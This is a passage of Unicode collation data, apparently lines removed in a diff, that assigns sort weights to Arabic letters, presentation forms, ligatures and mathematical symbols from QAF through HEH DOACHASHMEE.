-FB6E  ; [.22F4.0020.001A] # ARABIC LETTER PEHEH ISOLATED FORM
-0760  ; [.22F5.0020.0002] # ARABIC LETTER FEH WITH TWO DOTS BELOW
-0761  ; [.22F6.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW
-066F  ; [.22F7.0020.0002] # ARABIC LETTER DOTLESS QAF
-1EE1F ; [.22F7.0020.0005] # ARABIC MATHEMATICAL DOTLESS QAF
-1EE5F ; [.22F7.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS QAF
-0642  ; [.22F8.0020.0002] # ARABIC LETTER QAF
-1EE12 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL QAF
-1EE32 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL INITIAL QAF
-1EE52 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL TAILED QAF
-1EE72 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL STRETCHED QAF
-1EE92 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL LOOPED QAF
-1EEB2 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK QAF
-FED7  ; [.22F8.0020.0017] # ARABIC LETTER QAF INITIAL FORM
-FED8  ; [.22F8.0020.0018] # ARABIC LETTER QAF MEDIAL FORM
-FED6  ; [.22F8.0020.0019] # ARABIC LETTER QAF FINAL FORM
-FED5  ; [.22F8.0020.001A] # ARABIC LETTER QAF ISOLATED FORM
-FCC2  ; [.22F8.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE QAF WITH HAH INITIAL FORM
-FC33  ; [.22F8.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE QAF WITH HAH ISOLATED FORM
-FDF1  ; [.22F8.0020.001A][.2311.0020.001A][.2347.0020.001A] # ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM
-FCC3  ; [.22F8.0020.0017][.2318.0020.0017] # ARABIC LIGATURE QAF WITH MEEM INITIAL FORM
-FC34  ; [.22F8.0020.001A][.2318.0020.001A] # ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM
-FDB4  ; [.22F8.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM
-FD7E  ; [.22F8.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM
-FD7F  ; [.22F8.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM
-FDB2  ; [.22F8.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM
-FC7E  ; [.22F8.0020.0019][.2339.0020.0019] # ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM
-FC35  ; [.22F8.0020.001A][.2339.0020.001A] # ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM
-FC7F  ; [.22F8.0020.0019][.233A.0020.0019] # ARABIC LIGATURE QAF WITH YEH FINAL FORM
-FC36  ; [.22F8.0020.001A][.233A.0020.001A] # ARABIC LIGATURE QAF WITH YEH ISOLATED FORM
-06A7  ; [.22F9.0020.0002] # ARABIC LETTER QAF WITH DOT ABOVE
-06A8  ; [.22FA.0020.0002] # ARABIC LETTER QAF WITH THREE DOTS ABOVE
-08A5  ; [.22FB.0020.0002] # ARABIC LETTER QAF WITH DOT BELOW
-0643  ; [.22FC.0020.0002] # ARABIC LETTER KAF
-1EE0A ; [.22FC.0020.0005] # ARABIC MATHEMATICAL KAF
-1EE2A ; [.22FC.0020.0005] # ARABIC MATHEMATICAL INITIAL KAF
-1EE6A ; [.22FC.0020.0005] # ARABIC MATHEMATICAL STRETCHED KAF
-FEDB  ; [.22FC.0020.0017] # ARABIC LETTER KAF INITIAL FORM
-FEDC  ; [.22FC.0020.0018] # ARABIC LETTER KAF MEDIAL FORM
-FEDA  ; [.22FC.0020.0019] # ARABIC LETTER KAF FINAL FORM
-FED9  ; [.22FC.0020.001A] # ARABIC LETTER KAF ISOLATED FORM
-FC80  ; [.22FC.0020.0019][.2286.0020.0019] # ARABIC LIGATURE KAF WITH ALEF FINAL FORM
-FC37  ; [.22FC.0020.001A][.2286.0020.001A] # ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM
-FCC4  ; [.22FC.0020.0017][.229D.0020.0017] # ARABIC LIGATURE KAF WITH JEEM INITIAL FORM
-FC38  ; [.22FC.0020.001A][.229D.0020.001A] # ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM
-FCC5  ; [.22FC.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE KAF WITH HAH INITIAL FORM
-FC39  ; [.22FC.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE KAF WITH HAH ISOLATED FORM
-FCC6  ; [.22FC.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE KAF WITH KHAH INITIAL FORM
-FC3A  ; [.22FC.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM
-FCC7  ; [.22FC.0020.0017][.2311.0020.0017] # ARABIC LIGATURE KAF WITH LAM INITIAL FORM
-FCEB  ; [.22FC.0020.0018][.2311.0020.0018] # ARABIC LIGATURE KAF WITH LAM MEDIAL FORM
-FC81  ; [.22FC.0020.0019][.2311.0020.0019] # ARABIC LIGATURE KAF WITH LAM FINAL FORM
-FC3B  ; [.22FC.0020.001A][.2311.0020.001A] # ARABIC LIGATURE KAF WITH LAM ISOLATED FORM
-FCC8  ; [.22FC.0020.0017][.2318.0020.0017] # ARABIC LIGATURE KAF WITH MEEM INITIAL FORM
-FCEC  ; [.22FC.0020.0018][.2318.0020.0018] # ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM
-FC82  ; [.22FC.0020.0019][.2318.0020.0019] # ARABIC LIGATURE KAF WITH MEEM FINAL FORM
-FC3C  ; [.22FC.0020.001A][.2318.0020.001A] # ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM
-FDC3  ; [.22FC.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM
-FDBB  ; [.22FC.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM
-FDB7  ; [.22FC.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM
-FC83  ; [.22FC.0020.0019][.2339.0020.0019] # ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM
-FC3D  ; [.22FC.0020.001A][.2339.0020.001A] # ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM
-FC84  ; [.22FC.0020.0019][.233A.0020.0019] # ARABIC LIGATURE KAF WITH YEH FINAL FORM
-FC3E  ; [.22FC.0020.001A][.233A.0020.001A] # ARABIC LIGATURE KAF WITH YEH ISOLATED FORM
-06A9  ; [.22FD.0020.0002] # ARABIC LETTER KEHEH
-FB90  ; [.22FD.0020.0017] # ARABIC LETTER KEHEH INITIAL FORM
-FB91  ; [.22FD.0020.0018] # ARABIC LETTER KEHEH MEDIAL FORM
-FB8F  ; [.22FD.0020.0019] # ARABIC LETTER KEHEH FINAL FORM
-FB8E  ; [.22FD.0020.001A] # ARABIC LETTER KEHEH ISOLATED FORM
-06AA  ; [.22FE.0020.0002] # ARABIC LETTER SWASH KAF
-06AB  ; [.22FF.0020.0002] # ARABIC LETTER KAF WITH RING
-06AC  ; [.2300.0020.0002] # ARABIC LETTER KAF WITH DOT ABOVE
-077F  ; [.2301.0020.0002] # ARABIC LETTER KAF WITH TWO DOTS ABOVE
-06AD  ; [.2302.0020.0002] # ARABIC LETTER NG
-FBD5  ; [.2302.0020.0017] # ARABIC LETTER NG INITIAL FORM
-FBD6  ; [.2302.0020.0018] # ARABIC LETTER NG MEDIAL FORM
-FBD4  ; [.2302.0020.0019] # ARABIC LETTER NG FINAL FORM
-FBD3  ; [.2302.0020.001A] # ARABIC LETTER NG ISOLATED FORM
-06AE  ; [.2303.0020.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW
-08B4  ; [.2304.0020.0002] # ARABIC LETTER KAF WITH DOT BELOW
-06AF  ; [.2305.0020.0002] # ARABIC LETTER GAF
-FB94  ; [.2305.0020.0017] # ARABIC LETTER GAF INITIAL FORM
-FB95  ; [.2305.0020.0018] # ARABIC LETTER GAF MEDIAL FORM
-FB93  ; [.2305.0020.0019] # ARABIC LETTER GAF FINAL FORM
-FB92  ; [.2305.0020.001A] # ARABIC LETTER GAF ISOLATED FORM
-08B0  ; [.2306.0020.0002] # ARABIC LETTER GAF WITH INVERTED STROKE
-06B0  ; [.2307.0020.0002] # ARABIC LETTER GAF WITH RING
-06B1  ; [.2308.0020.0002] # ARABIC LETTER NGOEH
-FB9C  ; [.2308.0020.0017] # ARABIC LETTER NGOEH INITIAL FORM
-FB9D  ; [.2308.0020.0018] # ARABIC LETTER NGOEH MEDIAL FORM
-FB9B  ; [.2308.0020.0019] # ARABIC LETTER NGOEH FINAL FORM
-FB9A  ; [.2308.0020.001A] # ARABIC LETTER NGOEH ISOLATED FORM
-06B2  ; [.2309.0020.0002] # ARABIC LETTER GAF WITH TWO DOTS BELOW
-06B3  ; [.230A.0020.0002] # ARABIC LETTER GUEH
-FB98  ; [.230A.0020.0017] # ARABIC LETTER GUEH INITIAL FORM
-FB99  ; [.230A.0020.0018] # ARABIC LETTER GUEH MEDIAL FORM
-FB97  ; [.230A.0020.0019] # ARABIC LETTER GUEH FINAL FORM
-FB96  ; [.230A.0020.001A] # ARABIC LETTER GUEH ISOLATED FORM
-06B4  ; [.230B.0020.0002] # ARABIC LETTER GAF WITH THREE DOTS ABOVE
-0762  ; [.230C.0020.0002] # ARABIC LETTER KEHEH WITH DOT ABOVE
-063B  ; [.230D.0020.0002] # ARABIC LETTER KEHEH WITH TWO DOTS ABOVE
-063C  ; [.230E.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS BELOW
-0763  ; [.230F.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS ABOVE
-0764  ; [.2310.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW
-0644  ; [.2311.0020.0002] # ARABIC LETTER LAM
-1EE0B ; [.2311.0020.0005] # ARABIC MATHEMATICAL LAM
-1EE2B ; [.2311.0020.0005] # ARABIC MATHEMATICAL INITIAL LAM
-1EE4B ; [.2311.0020.0005] # ARABIC MATHEMATICAL TAILED LAM
-1EE8B ; [.2311.0020.0005] # ARABIC MATHEMATICAL LOOPED LAM
-1EEAB ; [.2311.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK LAM
-FEDF  ; [.2311.0020.0017] # ARABIC LETTER LAM INITIAL FORM
-FEE0  ; [.2311.0020.0018] # ARABIC LETTER LAM MEDIAL FORM
-FEDE  ; [.2311.0020.0019] # ARABIC LETTER LAM FINAL FORM
-FEDD  ; [.2311.0020.001A] # ARABIC LETTER LAM ISOLATED FORM
-FEF6  ; [.2311.0020.0019][.2279.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM
-FEF5  ; [.2311.0020.001A][.2279.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM
-FEF8  ; [.2311.0020.0019][.227A.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM
-FEF7  ; [.2311.0020.001A][.227A.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM
-FEFA  ; [.2311.0020.0019][.227E.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM
-FEF9  ; [.2311.0020.001A][.227E.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM
-FEFC  ; [.2311.0020.0019][.2286.0020.0019] # ARABIC LIGATURE LAM WITH ALEF FINAL FORM
-FEFB  ; [.2311.0020.001A][.2286.0020.001A] # ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM
-FCC9  ; [.2311.0020.0017][.229D.0020.0017] # ARABIC LIGATURE LAM WITH JEEM INITIAL FORM
-FC3F  ; [.2311.0020.001A][.229D.0020.001A] # ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM
-FD83  ; [.2311.0020.0017][.229D.0020.0017][.229D.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM
-FD84  ; [.2311.0020.0019][.229D.0020.0019][.229D.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM
-FDBA  ; [.2311.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM
-FDBC  ; [.2311.0020.0019][.229D.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM
-FDAC  ; [.2311.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM
-FCCA  ; [.2311.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE LAM WITH HAH INITIAL FORM
-FC40  ; [.2311.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE LAM WITH HAH ISOLATED FORM
-FDB5  ; [.2311.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM
-FD80  ; [.2311.0020.0019][.22A4.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM
-FD82  ; [.2311.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM
-FD81  ; [.2311.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM
-FCCB  ; [.2311.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE LAM WITH KHAH INITIAL FORM
-FC41  ; [.2311.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM
-FD86  ; [.2311.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM
-FD85  ; [.2311.0020.0019][.22A5.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM
-FCCC  ; [.2311.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH MEEM INITIAL FORM
-FCED  ; [.2311.0020.0018][.2318.0020.0018] # ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM
-FC85  ; [.2311.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH MEEM FINAL FORM
-FC42  ; [.2311.0020.001A][.2318.0020.001A] # ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM
-FD88  ; [.2311.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM
-FD87  ; [.2311.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM
-FDAD  ; [.2311.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM
-FCCD  ; [.2311.0020.0017][.2325.0020.0017] # ARABIC LIGATURE LAM WITH HEH INITIAL FORM
-FC86  ; [.2311.0020.0019][.2339.0020.0019] # ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM
-FC43  ; [.2311.0020.001A][.2339.0020.001A] # ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM
-FC87  ; [.2311.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH YEH FINAL FORM
-FC44  ; [.2311.0020.001A][.233A.0020.001A] # ARABIC LIGATURE LAM WITH YEH ISOLATED FORM
-06B5  ; [.2312.0020.0002] # ARABIC LETTER LAM WITH SMALL V
-06B6  ; [.2313.0020.0002] # ARABIC LETTER LAM WITH DOT ABOVE
-06B7  ; [.2314.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS ABOVE
-06B8  ; [.2315.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS BELOW
-076A  ; [.2316.0020.0002] # ARABIC LETTER LAM WITH BAR
-08A6  ; [.2317.0020.0002] # ARABIC LETTER LAM WITH DOUBLE BAR
-0645  ; [.2318.0020.0002] # ARABIC LETTER MEEM
-1EE0C ; [.2318.0020.0005] # ARABIC MATHEMATICAL MEEM
-1EE2C ; [.2318.0020.0005] # ARABIC MATHEMATICAL INITIAL MEEM
-1EE6C ; [.2318.0020.0005] # ARABIC MATHEMATICAL STRETCHED MEEM
-1EE8C ; [.2318.0020.0005] # ARABIC MATHEMATICAL LOOPED MEEM
-1EEAC ; [.2318.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK MEEM
-FEE3  ; [.2318.0020.0017] # ARABIC LETTER MEEM INITIAL FORM
-FEE4  ; [.2318.0020.0018] # ARABIC LETTER MEEM MEDIAL FORM
-FEE2  ; [.2318.0020.0019] # ARABIC LETTER MEEM FINAL FORM
-FEE1  ; [.2318.0020.001A] # ARABIC LETTER MEEM ISOLATED FORM
-06FE  ; [.2318.0020.0004][.0000.010C.0004] # ARABIC SIGN SINDHI POSTPOSITION MEN
-FC88  ; [.2318.0020.0019][.2286.0020.0019] # ARABIC LIGATURE MEEM WITH ALEF FINAL FORM
-FCCE  ; [.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM
-FC45  ; [.2318.0020.001A][.229D.0020.001A] # ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM
-FD8C  ; [.2318.0020.0017][.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM
-FD92  ; [.2318.0020.0017][.229D.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
-FD8D  ; [.2318.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM
-FDC0  ; [.2318.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM
-FCCF  ; [.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE MEEM WITH HAH INITIAL FORM
-FC46  ; [.2318.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM
-FD89  ; [.2318.0020.0017][.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM
-FD8A  ; [.2318.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM
-FDF4  ; [.2318.0020.001A][.22A4.0020.001A][.2318.0020.001A][.22AF.0020.001A] # ARABIC LIGATURE MOHAMMAD ISOLATED FORM
-FD8B  ; [.2318.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM
-FCD0  ; [.2318.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM
-FC47  ; [.2318.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM
-FD8E  ; [.2318.0020.0017][.22A5.0020.0017][.229D.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM
-FD8F  ; [.2318.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
-FDB9  ; [.2318.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM
-FCD1  ; [.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM
-FC89  ; [.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM FINAL FORM
-FC48  ; [.2318.0020.001A][.2318.0020.001A] # ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM
-FDB1  ; [.2318.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM
-FC49  ; [.2318.0020.001A][.2339.0020.001A] # ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM
-FC4A  ; [.2318.0020.001A][.233A.0020.001A] # ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM
-0765  ; [.2319.0020.0002] # ARABIC LETTER MEEM WITH DOT ABOVE
-0766  ; [.231A.0020.0002] # ARABIC LETTER MEEM WITH DOT BELOW
-08A7  ; [.231B.0020.0002] # ARABIC LETTER MEEM WITH THREE DOTS ABOVE
-0646  ; [.231C.0020.0002] # ARABIC LETTER NOON
-1EE0D ; [.231C.0020.0005] # ARABIC MATHEMATICAL NOON
-1EE2D ; [.231C.0020.0005] # ARABIC MATHEMATICAL INITIAL NOON
-1EE4D ; [.231C.0020.0005] # ARABIC MATHEMATICAL TAILED NOON
-1EE6D ; [.231C.0020.0005] # ARABIC MATHEMATICAL STRETCHED NOON
-1EE8D ; [.231C.0020.0005] # ARABIC MATHEMATICAL LOOPED NOON
-1EEAD ; [.231C.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK NOON
-FEE7  ; [.231C.0020.0017] # ARABIC LETTER NOON INITIAL FORM
-FEE8  ; [.231C.0020.0018] # ARABIC LETTER NOON MEDIAL FORM
-FEE6  ; [.231C.0020.0019] # ARABIC LETTER NOON FINAL FORM
-FEE5  ; [.231C.0020.001A] # ARABIC LETTER NOON ISOLATED FORM
-FCD2  ; [.231C.0020.0017][.229D.0020.0017] # ARABIC LIGATURE NOON WITH JEEM INITIAL FORM
-FC4B  ; [.231C.0020.001A][.229D.0020.001A] # ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM
-FDB8  ; [.231C.0020.0017][.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM
-FDBD  ; [.231C.0020.0019][.229D.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM
-FD98  ; [.231C.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM
-FD97  ; [.231C.0020.0019][.229D.0020.0019][.2318.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM
-FD99  ; [.231C.0020.0019][.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM
-FDC7  ; [.231C.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
-FCD3  ; [.231C.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE NOON WITH HAH INITIAL FORM
-FC4C  ; [.231C.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE NOON WITH HAH ISOLATED FORM
-FD95  ; [.231C.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM
-FD96  ; [.231C.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM
-FDB3  ; [.231C.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM
-FCD4  ; [.231C.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE NOON WITH KHAH INITIAL FORM
-FC4D  ; [.231C.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM
-FC8A  ; [.231C.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE NOON WITH REH FINAL FORM
-FC8B  ; [.231C.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE NOON WITH ZAIN FINAL FORM
-FCD5  ; [.231C.0020.0017][.2318.0020.0017] # ARABIC LIGATURE NOON WITH MEEM INITIAL FORM
-FCEE  ; [.231C.0020.0018][.2318.0020.0018] # ARABIC LIGATURE NOON WITH MEEM MEDIAL FORM
-FC8C  ; [.231C.0020.0019][.2318.0020.0019] # ARABIC LIGATURE NOON WITH MEEM FINAL FORM
-FC4E  ; [.231C.0020.001A][.2318.0020.001A] # ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM
-FD9B  ; [.231C.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM
-FD9A  ; [.231C.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM
-FC8D  ; [.231C.0020.0019][.231C.0020.0019] # ARABIC LIGATURE NOON WITH NOON FINAL FORM
-FCD6  ; [.231C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE NOON WITH HEH INITIAL FORM
-FCEF  ; [.231C.0020.0018][.2325.0020.0018] # ARABIC LIGATURE NOON WITH HEH MEDIAL FORM
-FC8E  ; [.231C.0020.0019][.2339.0020.0019] # ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM
-FC4F  ; [.231C.0020.001A][.2339.0020.001A] # ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM
-FC8F  ; [.231C.0020.0019][.233A.0020.0019] # ARABIC LIGATURE NOON WITH YEH FINAL FORM
-FC50  ; [.231C.0020.001A][.233A.0020.001A] # ARABIC LIGATURE NOON WITH YEH ISOLATED FORM
-06BA  ; [.231D.0020.0002] # ARABIC LETTER NOON GHUNNA
-1EE1D ; [.231D.0020.0005] # ARABIC MATHEMATICAL DOTLESS NOON
-1EE5D ; [.231D.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS NOON
-FB9F  ; [.231D.0020.0019] # ARABIC LETTER NOON GHUNNA FINAL FORM
-FB9E  ; [.231D.0020.001A] # ARABIC LETTER NOON GHUNNA ISOLATED FORM
-06BB  ; [.231E.0020.0002] # ARABIC LETTER RNOON
-FBA2  ; [.231E.0020.0017] # ARABIC LETTER RNOON INITIAL FORM
-FBA3  ; [.231E.0020.0018] # ARABIC LETTER RNOON MEDIAL FORM
-FBA1  ; [.231E.0020.0019] # ARABIC LETTER RNOON FINAL FORM
-FBA0  ; [.231E.0020.001A] # ARABIC LETTER RNOON ISOLATED FORM
-06BC  ; [.231F.0020.0002] # ARABIC LETTER NOON WITH RING
-06BD  ; [.2320.0020.0002] # ARABIC LETTER NOON WITH THREE DOTS ABOVE
-06B9  ; [.2321.0020.0002] # ARABIC LETTER NOON WITH DOT BELOW
-0767  ; [.2322.0020.0002] # ARABIC LETTER NOON WITH TWO DOTS BELOW
-0768  ; [.2323.0020.0002] # ARABIC LETTER NOON WITH SMALL TAH
-0769  ; [.2324.0020.0002] # ARABIC LETTER NOON WITH SMALL V
-0647  ; [.2325.0020.0002] # ARABIC LETTER HEH
-1EE24 ; [.2325.0020.0005] # ARABIC MATHEMATICAL INITIAL HEH
-1EE64 ; [.2325.0020.0005] # ARABIC MATHEMATICAL STRETCHED HEH
-1EE84 ; [.2325.0020.0005] # ARABIC MATHEMATICAL LOOPED HEH
-FEEB  ; [.2325.0020.0017] # ARABIC LETTER HEH INITIAL FORM
-FEEC  ; [.2325.0020.0018] # ARABIC LETTER HEH MEDIAL FORM
-FEEA  ; [.2325.0020.0019] # ARABIC LETTER HEH FINAL FORM
-FEE9  ; [.2325.0020.001A] # ARABIC LETTER HEH ISOLATED FORM
-FCD9  ; [.2325.0020.0017][.0000.0098.0017] # ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM
-FCD7  ; [.2325.0020.0017][.229D.0020.0017] # ARABIC LIGATURE HEH WITH JEEM INITIAL FORM
-FC51  ; [.2325.0020.001A][.229D.0020.001A] # ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM
-FCD8  ; [.2325.0020.0017][.2318.0020.0017] # ARABIC LIGATURE HEH WITH MEEM INITIAL FORM
-FC52  ; [.2325.0020.001A][.2318.0020.001A] # ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM
-FD93  ; [.2325.0020.0017][.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM
-FD94  ; [.2325.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM
-FC53  ; [.2325.0020.001A][.2339.0020.001A] # ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM
-FC54  ; [.2325.0020.001A][.233A.0020.001A] # ARABIC LIGATURE HEH WITH YEH ISOLATED FORM
-06BE  ; [.2326.0020.0002] # ARABIC LETTER HEH DOACHASHMEE
-FBAC  ; [.2326.0020.0017] # ARABIC LETTER HEH DOACHASHMEE INITIAL FORM
-FBAD  ; [.2326.0020.0018] # ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM
-FBAB  ; [.2326.0020.0019] # ARABIC LETTER HEH DOACHASHMEE FINAL FORM
-FBAA  ; [.2326.0020.001A] # ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM
